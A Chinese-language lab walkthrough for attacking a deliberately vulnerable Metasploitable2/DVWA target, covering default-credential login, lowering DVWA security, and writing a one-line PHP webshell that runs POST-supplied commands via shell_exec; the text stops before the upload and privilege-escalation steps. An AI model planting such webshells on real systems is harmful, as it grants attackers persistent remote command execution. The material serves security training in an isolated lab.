一、核心目标
通过 80 端口的 Web 应用(本次为 DVWA)漏洞,获取靶机的 Web 服务权限(www-data),最终通过信息收集利用系统后门拿到 root 权限,核心链路:Web 登录→漏洞利用→留后门(WebShell)→信息收集→提权/后门利用。
二、完整实战流程(含每步细节 + 命令)
阶段 1:前期准备(靶机 + 工具)
| 准备项 | 具体内容 | 注意事项 |
|---|---|---|
| 靶机环境 | Metasploitable2(IP:192.168.1.3),预装 DVWA(Web 应用) | 严禁接入公网,仅本地测试;默认账户:msfadmin/msfadmin、admin/password(DVWA) |
| 攻击机 | Kali Linux(IP:192.168.1.4) | 确保与靶机同网段,开启 curl、nc、telnet、ssh 工具(默认已预装) |
| 核心工具 | 命令行工具(curl、nc、telnet)+ SSH(系统层面操作) | 新手优先用命令行,避免图形化工具(如蚁剑)的配置坑 |
阶段 2:Web 应用登录(DVWA)
步骤 1:访问 DVWA
- 浏览器访问:
http://192.168.1.3/dvwa - 直接登录:账号
admin、密码password(跳过 Hydra 爆破,新手无需纠结爆破,聚焦漏洞利用) - 关键操作:登录后切换安全级别为
Low(右上角DVWA Security),点击Submit(Low 级别无任何防御,漏洞裸奔)
踩坑 1:忘记切换安全级别,导致文件上传失败
- 报错表现:上传 PHP 文件提示'不允许的文件类型'
- 原因:Medium/High 级别会过滤 PHP 后缀,Low 级别无过滤
- 绕过:必须切换到 Low 级别,所有 Web 漏洞直接可用
阶段 3:漏洞利用(核心:文件上传漏洞,比 SQL 注入更简单)
步骤 2:创建 WebShell(后门文件)
WebShell 作用:上传到靶机后,通过 HTTP 请求执行系统命令,是长期控制 Web 服务的核心后门。
- 木马核心逻辑:接收 POST 参数
cmd,执行系统命令并返回结果,避免'空白命令'警告。
# 创建基础一句话木马(兼容 PHP 环境)
echo '<?php if(isset($_POST["cmd"])){ $output = shell_exec($_POST["cmd"]); echo "<pre>$output</pre>"; } ?>' > /root/shell.php
# 赋予读写权限(避免本地文件权限问题)
chmod 777 /root/shell.php

